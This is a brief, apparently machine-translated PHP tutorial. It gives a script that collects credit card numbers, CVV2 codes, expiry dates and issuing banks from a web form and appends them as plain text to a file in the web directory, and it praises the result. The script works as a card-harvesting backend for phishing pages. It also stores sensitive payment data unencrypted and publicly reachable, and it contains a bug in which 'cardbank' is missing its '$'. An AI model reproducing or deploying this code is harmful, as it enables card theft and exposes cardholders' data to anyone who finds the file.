The php code collects the form content and writes the code to the file
- 2020-05-10 17:53:42
- OfStack
As for the content of the form, I won't say much more about it here, but the form's action=" getpost.php ", which means the file getpost.php. Post the contents of the file below.
Finally, txt.txt will be created in the current directory and the information collected will be written to this file, which is quite good.
<?php
// Define the form content to collect
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
// Define the content format for the collection
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
// Define the location of the file
$compile_dir = "./txt.txt";
// Here's what it says PHP The code
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
Finally, txt.txt will be created in the current directory and the information collected will be written to this file, which is quite good.